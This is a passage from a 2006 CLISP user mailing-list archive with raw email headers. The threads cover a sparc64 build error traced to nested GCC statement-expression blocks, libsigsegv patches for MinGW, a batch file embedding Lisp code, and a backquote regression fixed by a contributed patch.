helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FErP9-0004pe-VW for clisp-list@lists.sourceforge.net; Thu, 02 Mar 2006 09:15:55 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FErP8-0004MZ-9v for clisp-list@lists.sourceforge.net; Thu, 02 Mar 2006 09:15:55 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FErOE-0003WO-SJ for clisp-list@lists.sourceforge.net; Thu, 02 Mar 2006 18:14:58 +0100 Received: from c83-248-123-63.bredband.comhem.se ([83.248.123.63]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 02 Mar 2006 18:14:58 +0100 Received: from mange by c83-248-123-63.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 02 Mar 2006 18:14:58 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 84 Message-ID: <87ek1kkbwc.fsf@freemail.hu> References: <5F9130612D07074EB0A0CE7E69FD7A0308BCAC25@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-123-63.bredband.comhem.se Mail-Copies-To: never Jabber-Id: legoscia@jabber.cd.chalmers.se User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:prVi95yWD23KyARb5GzMpEzC+00= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: NetBSD/sparc64: void value not ignored Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 2 09:18:58 2006 X-Original-Date: Thu, 02 Mar 2006 18:13:39 +0100 "Hoehle, Joerg-Cyril" writes: > Magnus Henoch writes: >>I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command >>line: >>gcc [...]-g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 >>-DUNICODE -DNO_GETTEXT -I. -c lisparit.c > > Why are you starting with a debug build? Because you encountered > other problems? Yes, without the debug option the produced lisp.run failed to start, with a segfault. > What version of gcc is this? gcc (GCC) 3.3.3 (NetBSD nb3 20040520) >>In file included from lisparit.d:8: >>lispbibl.d:8962: warning: volatile register variables don't >>work as you might wish >>In file included from lisparit.d:36: >>intdiv.d: In function `I_I_divide_I_I': >>intdiv.d:312: error: void value not ignored as it ought to be >>intdiv.d:312: error: void value not ignored as it ought to be > > Please try out this change in src/arilev0.d:1175: > replace divu_6432_3232(...,q=,);}\ > with > ...,q=,_EMA_);}\ > and reports results. I'm not sure this is it because you use gcc and I would not have expected gcc's cccp to cause trouble here. I get the same error. > Otherwise please do > make lisparit.i > and try to investigate the section around > # 285 "intdiv.d" > static void I_I_divide_I_I (object x, object y) > ... > or post the snippet here (or send me whole file, privately). After narrowing and unwrapping, it turns out that the problem is in these lines: _x -= ((uint64)(uint32)(({ register uint32 _lo = mulu32_(_q,((uint32)((uint64)(_y)>>32))); { register uint32 _hi __asm__("%g1"); (((uint64)(uint32)(_hi) << 32) | (uint64)(uint32)(_lo)); } } )) << 32); _x -= ({ register uint32 _lo = mulu32_(_q,((uint32)(uint64)(_y))); { register uint32 _hi __asm__("%g1"); (((uint64)(uint32)(_hi) << 32) | (uint64)(uint32)(_lo)); } } ); which are derived from these lines in arilev0.d: # x-q*y bilden (eine 32-mal-64-Bit-Multiplikation ohne Überlauf): \ _x -= highlow64_0(mulu32_64(_q,high32(_y))); # q * high32(y) * beta \ # gefahrlos, da q*high32(y) <= q*y/beta <= x/beta < beta \ _x -= mulu32_64(_q,low32(_y)); # q * low32(y) \ Trying to compile this trivial example convinces me that the problem is the doubly-nested block: void main(void) { int i; /* this causes 'error: void value not ignored as it ought to be' */ i = ({ int j = 1; {int k = 2; j + k; } }); printf("%d\n", i); } Removing the inner braces before "int k" in this example makes it compile. I'm not sure how that would be done in the clisp code, though... Magnus From astebakov@yahoo.com Wed Feb 08 11:28:17 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F6uzB-00061w-OO for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 11:28:17 -0800 Received: from web32014.mail.mud.yahoo.com ([68.142.207.111]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F6uzA-0005U0-DG for clisp-list@lists.sourceforge.net; Wed, 08 Feb 2006 11:28:17 -0800 Received: (qmail 49037 invoked by uid 60001); 8 Feb 2006 19:28:11 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=eL9nlzP899LjUC9KBFixmDuq4p1UwAURHDSj3FdhvuWQ44m7y3JJSJUN7s3jHoMBSdclIxZiebeLfjpsXhvloL9Btzw8Bb1vZjewP45bhOcLL6W3QWiOUcSsn+I2R5QYr/1kUjfqzW8PzKG0Mfbo+bS9GnUjmyLt/ysdayB+4Qw= ; Message-ID: <20060208192811.49035.qmail@web32014.mail.mud.yahoo.com> Received: from [209.50.91.70] by web32014.mail.mud.yahoo.com via HTTP; Wed, 08 Feb 2006 11:28:10 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] How to use command-line arguments for standalone executable? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 3 00:42:00 2006 X-Original-Date: Wed, 8 Feb 2006 11:28:10 -0800 (PST) Hi, Under Windows I can run a lisp file with command line arguments so following will have some output: (format t "~&~S~&" *args*) (dolist (item *args*) (format t "item: ~a~%" item)) If I put the same code into the start function and save the standalone exe it doesn't work. Andrei __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From Joerg-Cyril.Hoehle@t-systems.com Fri Mar 03 06:56:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FFBhP-0000vY-4G for clisp-list@lists.sourceforge.net; Fri, 03 Mar 2006 06:56:07 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FFBhO-0007Z7-3r for clisp-list@lists.sourceforge.net; Fri, 03 Mar 2006 06:56:07 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 3 Mar 2006 15:55:57 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 3 Mar 2006 15:55:57 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: mange@freemail.hu, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: NetBSD/sparc64: void value not ignored MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 3 06:57:03 2006 X-Original-Date: Fri, 3 Mar 2006 15:55:48 +0100 Magnus Henoch writes: >Yes, without the debug option the produced lisp.run failed to start, >with a segfault. Please report a bug and see if the only difference between success and = failure is -DSAFETY=3D3 or -DNO_GENERATIONAL_GC (note that SAFETY=3D3 = disables gen.GC). >gcc (GCC) 3.3.3 (NetBSD nb3 20040520) >Trying to compile this trivial example convinces me that the problem >is the doubly-nested block: >void main(void) { > int i; > /* this causes 'error: void value not ignored as it ought to be' */ > i =3D ({ int j =3D 1; > {int k =3D 2; > j + k; } }); > printf("%d\n", i); >} > >Removing the inner braces before "int k" in this example makes it >compile. I'm not sure how that would be done in the clisp code, >though... Please go to src/arilev0.d:474 and remove the second { and a matching } from this code section: #elif defined(SPARC) #define mulu32_64(x,y) \ ({ var register uint32 _lo =3D mulu32_(x,y); # extern in = Assembler \ {var register uint32 _hi __asm__("%g1"); = \ highlow64(_hi,_lo); = \ }}) #endif And report results here. It's somewhat odd that this error does not occur more often, because = I'd have expected this same pattern in other places as well... For example: intlog.d:726 local maygc object I_logcount_I (object x) { if (I_fixnump(x)) { var uint16 x16; /* auxiliary variable */ {var uintV x32 =3D FN_to_V(x); /* x as intVsize-bit-number */ And this function compiles on your system? This starts to sound like a GCC bug report. In any case, these extra {} are superfluous if they don't limit = scoping, so I'll remove them if you report success. Thanks for the analysis, J=F6rg H=F6hle. From jdunrue@gmail.com Fri Mar 03 15:38:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FFJqf-0006k3-CC for clisp-list@lists.sourceforge.net; Fri, 03 Mar 2006 15:38:13 -0800 Received: from wproxy.gmail.com ([64.233.184.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FFJqd-0006E2-OT for clisp-list@lists.sourceforge.net; Fri, 03 Mar 2006 15:38:13 -0800 Received: by wproxy.gmail.com with SMTP id i30so767422wra for ; Fri, 03 Mar 2006 15:38:07 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=HTYud7uJxlH8uO21ojEpY0oQ321CqLkmoeUCgmlxrkSRIDRAK+FCPH2209Z81OxZcF1VzstUuIavjUBBPAc1WW1+KAf2s4VBRtl0Aaj1mjTmrLwdFlmYC2dqVKqPonArFcFvoWVfWgvGWo6pTBuIEJ8dNBKYLbp2l6qmi1IpL9I= Received: by 10.65.147.15 with SMTP id z15mr1765403qbn; Fri, 03 Mar 2006 15:38:07 -0800 (PST) Received: by 10.65.200.5 with HTTP; Fri, 3 Mar 2006 15:38:07 -0800 (PST) Message-ID: From: "Jack Unrue" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp crash on infinite recursion on mingw/cygwin? In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0308BCAD08@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <5F9130612D07074EB0A0CE7E69FD7A0308BCAD08@S4DE8PSAAGS.blf.telekom.de> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 3 15:39:00 2006 X-Original-Date: Fri, 3 Mar 2006 16:38:07 -0700 On 3/1/06, Hoehle, Joerg-Cyril wrote: > > [snip] > > Dear mingw users, please report your version and results. Please > include output from lisp.exe -B . --version or (software-type). > > If you're on MS-Windows XP, you'll need the cvs version of libsigsegv > (with patches adapted from Doug). Otherwise you can use the > release-2.2 (e.g. it should work on MS-w2k like I have). > E-Mail me and I can send you my MS-VC6 build of > libsigsegv.lib + libsigsegv.h from CVS. Hi, Joerg. Sorry for the dumb question, but is Doug's email to clisp-list on March 25 2005 where he starts with "I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c..." the correct message to grab patches from in order to do this test on MingW? Thanks. -- Jack Unrue From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 06 02:34:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FGD2m-0001mv-Kl for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 02:34:24 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FGD2l-0000bu-5Z for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 02:34:24 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 6 Mar 2006 11:34:10 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 6 Mar 2006 11:34:10 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jdunrue@gmail.com Subject: Re: [clisp-list] clisp crash on infinite recursion on mingw/cygwi n? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 6 02:35:00 2006 X-Original-Date: Mon, 6 Mar 2006 11:34:01 +0100 Jack Unrue wrote: >> Dear mingw users, please report your version and results. Please >> include output from lisp.exe -B . --version or (software-type). >> >> If you're on MS-Windows XP, you'll need the cvs version of = libsigsegv >> (with patches adapted from Doug). Otherwise you can use the >> release-2.2 (e.g. it should work on MS-w2k like I have). >> E-Mail me and I can send you my MS-VC6 build of >> libsigsegv.lib + libsigsegv.h from CVS. >Hi, Joerg. Sorry for the dumb question, but is Doug's email to >clisp-list on March 25 2005 where he starts with [...] :These two new fixes are in addition to the two fixes I wrote about :yesterday (well, much earlier today I guess) (repeated below). Yes, that's it. But I did not expect anybody to use this one except in = one situation[*]. Libsigsegv is here: http://libsigsegv.sourceforge.net/ Thus you can download either the 2.2 release files, or go to the CVS = section and download a tarball with the MS-WinXP patches or ask me for = my libsigsegv.lib/.h. [*] if you find that libsigsegv-CVS fails on your XP machine with = clisp/mingw, then it could be valueable to try out Doug's original = version. Because Doug has a mingw/gcc/clisp/sigsegv combination that = reportedly works. :Software: GNU C 3.4.5 (mingw special) Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Mon Mar 06 04:56:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FGFG0-0000HO-KK for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 04:56:12 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FGFFz-0001DK-A0 for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 04:56:12 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 6 Mar 2006 13:55:48 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 6 Mar 2006 13:55:47 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Mixing lisp and batch commands Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Mar 6 04:57:04 2006 X-Original-Date: Mon, 6 Mar 2006 13:55:18 +0100 Hi, Thomas Zellerin wrote this note in comp.lang.lisp: Message-ID: <1139909265.496444.247530@f14g2000cwb.googlegroups.com> [...] seing two small files recalled my recent experiments with bat/cmd files with lisp inside - it appears that windows conventiently ignore ; at the beginning of line, so you can have content below in bat/cmd file and it works. It may be sometimes convenient replacement of long escaped -x parameter, and it is also quite trivial to have the lisp part compiled there. Not that I would have anything against your version, I just thought this is not so widely known and maybe worthy mentioning. [...] Regards, Tomas Sample .cmd file: ; lisp -M lispinit.mem -i %0 ; exit (use-package "FFI") (def-call-out messagebox (:name "MessageBoxA") (:library "user32.dll") (:arguments (hwnd int) (text c-string) (capt c-string) (type uint)) (:return-type int) (:language :stdc)) (defun main() (messagebox 0 "Hello World!" "Message" 0) (quit)) (ext:saveinitmem "message" :init-function #'main :executable t :norc t) ; or just call (main)?? -- Joerg Hoehle asks From mcross@irobot.com Mon Mar 06 06:47:27 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FGGzf-0003vt-8Y for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 06:47:27 -0800 Received: from brick.irobot.com ([66.238.211.199] helo=irobot.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FGGzc-0003Lp-RC for clisp-list@lists.sourceforge.net; Mon, 06 Mar 2006 06:47:27 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C6412C.DD725CA8" Message-ID: <712A2DEC228C7448978CBD7A7AD5B09002F55C60@fever.wardrobe.irobot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Problem with complex backquote expression Thread-Index: AcZBLN2FJrSxN7S6Rki1sQZVWpp2iw== From: "Cross, Matthew" To: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 HTML_60_70 BODY: Message is 60% to 70% HTML 0.0 HTML_MESSAGE BODY: HTML included in message Subject: [clisp-list] Problem with complex backquote expression Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 8 06:11:01 2006 X-Original-Date: Mon, 6 Mar 2006 09:47:17 -0500 This is a multi-part message in MIME format. ------_=_NextPart_001_01C6412C.DD725CA8 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable (I tried to send this to the list on Friday, but it seems to have gotten dropped) =20 When I run this code with the latest release (2.38), I get strange results: =20 ---- (format t "~%~%test case 1:~%") =20 (let* ((testme nil) (testform ``(a ,@',testme d)) ) (princ testform) (format t "~%") (princ (eval testform)) ) =20 =20 =20 (format t "~%test case 2:~%") (let* ((testme '(b c)) (testform ``(a ,@',testme d)) ) (princ testform) (format t "~%") (princ (eval testform)) ) =20 =20 =20 (format t "~%~%") ---- =20 I would expect evaluating testform to give me (a d) in the first case and (a b c d) in the second case. However, clisp seems to truncate the list after the ,@ portion of the expression, giving me (a) and (a b c) from the test cases. =20 I narrowed it down to the problem being introduced in 2.33.84 (CVS tag clisp_2_33_84-2005-07-07). When I run it in this release (and the CVS head), I get: =20 ---- [1]> (lisp-implementation-version) "2.33.84 (2005-07-07) (built 3350413236) (memory 3350413776)" [2]> (load "~/backquote-test.lisp") ;; Loading file /home/mcross/backquote-test.lisp ... =20 test case 1: '(A) (A) test case 2: '(A B C) (A B C) =20 ;; Loaded file /home/mcross/backquote-test.lisp T ---- =20 When I run it in 2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and older releases, it works: =20 ---- [1]> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3350412156) (memory 3350412304)" [2]> (load "~/backquote-test.lisp") ;; Loading file /home/mcross/backquote-test.lisp ... =20 test case 1: (CONS 'A (APPEND 'NIL '(D))) (A D) test case 2: (CONS 'A (APPEND '(B C) '(D))) (A B C D) =20 ;; Loaded file /home/mcross/backquote-test.lisp T ---- =20 I am running on Ubuntu Linux 5.10. =20 I don't see anything obvious in the NEWS file for 2.38 that would affect this. I'm going to look around to see if I can understand what's going on, but I've never delved into clisp internals before. Can someone take a look at this also? =20 Thanks, =20 -- Matt Cross Senior Lead Software Engineer iRobot Corporation 63 South Avenue, Burlington, MA 01803 781-418-3373 (ph) 781-345-0201 (fax) mcross@irobot.com www.irobot.com =20 =20 =20 ------_=_NextPart_001_01C6412C.DD725CA8 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
(I tried to send this to the list on Friday, = but it=20 seems to have gotten dropped)
 
When I = run this code=20 with the latest release (2.38), I get strange = results:
 
----
(format t "~%~%test=20 case 1:~%")
 
(let* = ((testme=20 nil)
       (testform ``(a ,@',testme = d))=20 )
  (princ testform)
  (format t "~%")
  (princ = (eval=20 testform)) )
 
 
 
(format t "~%test=20 case 2:~%")
(let* ((testme '(b = c))
      =20 (testform ``(a ,@',testme d)) )
  (princ testform)
  = (format t=20 "~%")
  (princ (eval testform)) )
 
 
 
(format t=20 "~%~%")
----
 
I = would expect=20 evaluating testform to give me (a d) in the first case and (a b c d) in = the=20 second case.  However, clisp seems to truncate the list after the = ,@=20 portion of the expression, giving me (a) and (a b c) from the test=20 cases.
 
I = narrowed it down=20 to the problem being introduced in 2.33.84 (CVS tag=20 clisp_2_33_84-2005-07-07).  When I run it in this release (and the = CVS=20 head), I get:
 
----
[1]>=20 (lisp-implementation-version)
"2.33.84 (2005-07-07) (built = 3350413236)=20 (memory 3350413776)"
[2]> (load "~/backquote-test.lisp")
;; = Loading=20 file /home/mcross/backquote-test.lisp ...
 
test = case=20 1:
'(A)
(A)
test case 2:
'(A B C)
(A B = C)
 
;; = Loaded file=20 /home/mcross/backquote-test.lisp
T
----
 
When I = run it in=20 2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and older releases, it=20 works:
 
----
[1]>=20 (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3350412156) = (memory=20 3350412304)"
[2]> (load "~/backquote-test.lisp")
;; Loading = file=20 /home/mcross/backquote-test.lisp ...
 
test = case=20 1:
(CONS 'A (APPEND 'NIL '(D)))
(A D)
test case 2:
(CONS 'A = (APPEND=20 '(B C) '(D)))
(A B C D)
 
;; = Loaded file=20 /home/mcross/backquote-test.lisp
T
----
 
I am = running on=20 Ubuntu Linux 5.10.
 
I = don't see anything=20 obvious in the NEWS file for 2.38 that would affect this.  I'm = going to=20 look around to see if I can understand what's going on, but I've never = delved=20 into clisp internals before.  Can someone take a look at this=20 also?
 
Thanks,
 
--
Matt Cross
Senior Lead Software=20 Engineer
iRobot = Corporation
63 South Avenue, = Burlington, MA=20 01803
781-418-3373 = (ph)
781-345-0201 = (fax)
mcross@irobot.com
www.irobot.com
 
 
------_=_NextPart_001_01C6412C.DD725CA8-- From mcross@irobot.com Wed Mar 08 06:42:16 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FGzrk-0002Lg-Ol for clisp-list@lists.sourceforge.net; Wed, 08 Mar 2006 06:42:16 -0800 Received: from brick.irobot.com ([66.238.211.199] helo=irobot.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FGzrk-0001oZ-J7 for clisp-list@lists.sourceforge.net; Wed, 08 Mar 2006 06:42:16 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Problem with complex backquote expression Message-ID: <712A2DEC228C7448978CBD7A7AD5B09002F55C70@fever.wardrobe.irobot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Problem with complex backquote expression Thread-Index: AcZBLN2FJrSxN7S6Rki1sQZVWpp2iwBkOXQA From: "Cross, Matthew" To: "Cross, Matthew" , X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 8 06:43:03 2006 X-Original-Date: Wed, 8 Mar 2006 09:42:07 -0500 My message to the list was delayed because I sent it out as HTML. Anyways, I spent more time looking at this, and sent a patch to Bruno who accepted it and checked it into CVS. I also found that this was already logged as bug 1308444. My patch is listed in the bug report: http://sourceforge.net/tracker/?group_id=3D1355&atid=3D101355&func=3Ddeta= il&ai d=3D1308444=20 -- Matt Cross Senior Lead Software Engineer iRobot Corporation 63 South Avenue, Burlington, MA 01803 781-418-3373 (ph) 781-345-0201 (fax) mcross@irobot.com www.irobot.com =20 =20 =20 ________________________________ From: clisp-list-admin@lists.sourceforge.net [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of Cross, Matthew Sent: Monday, March 06, 2006 9:47 AM To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Problem with complex backquote expression =09 =09 (I tried to send this to the list on Friday, but it seems to have gotten dropped) =20 When I run this code with the latest release (2.38), I get strange results: =20 ---- (format t "~%~%test case 1:~%") =20 (let* ((testme nil) (testform ``(a ,@',testme d)) ) (princ testform) (format t "~%") (princ (eval testform)) ) =20 =20 =20 (format t "~%test case 2:~%") (let* ((testme '(b c)) (testform ``(a ,@',testme d)) ) (princ testform) (format t "~%") (princ (eval testform)) ) =20 =20 =20 (format t "~%~%") ---- =20 I would expect evaluating testform to give me (a d) in the first case and (a b c d) in the second case. However, clisp seems to truncate the list after the ,@ portion of the expression, giving me (a) and (a b c) from the test cases. =20 I narrowed it down to the problem being introduced in 2.33.84 (CVS tag clisp_2_33_84-2005-07-07). When I run it in this release (and the CVS head), I get: =20 ---- [1]> (lisp-implementation-version) "2.33.84 (2005-07-07) (built 3350413236) (memory 3350413776)" [2]> (load "~/backquote-test.lisp") ;; Loading file /home/mcross/backquote-test.lisp ... =20 test case 1: '(A) (A) test case 2: '(A B C) (A B C) =20 ;; Loaded file /home/mcross/backquote-test.lisp T ---- =20 When I run it in 2.33.2 (CVS tag clisp_2_33_2-2004-06-02) and older releases, it works: =20 ---- [1]> (lisp-implementation-version) "2.33.2 (2004-06-02) (built 3350412156) (memory 3350412304)" [2]> (load "~/backquote-test.lisp") ;; Loading file /home/mcross/backquote-test.lisp ... =20 test case 1: (CONS 'A (APPEND 'NIL '(D))) (A D) test case 2: (CONS 'A (APPEND '(B C) '(D))) (A B C D) =20 ;; Loaded file /home/mcross/backquote-test.lisp T ---- =20 I am running on Ubuntu Linux 5.10. =20 I don't see anything obvious in the NEWS file for 2.38 that would affect this. I'm going to look around to see if I can understand what's going on, but I've never delved into clisp internals before. Can someone take a look at this also? =20 Thanks, =20 -- Matt Cross Senior Lead Software Engineer iRobot Corporation 63 South Avenue, Burlington, MA 01803 781-418-3373 (ph) 781-345-0201 (fax) mcross@irobot.com www.irobot.com =20 =20 From kkylheku@gmail.com Wed Mar 08 10:26:44 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] 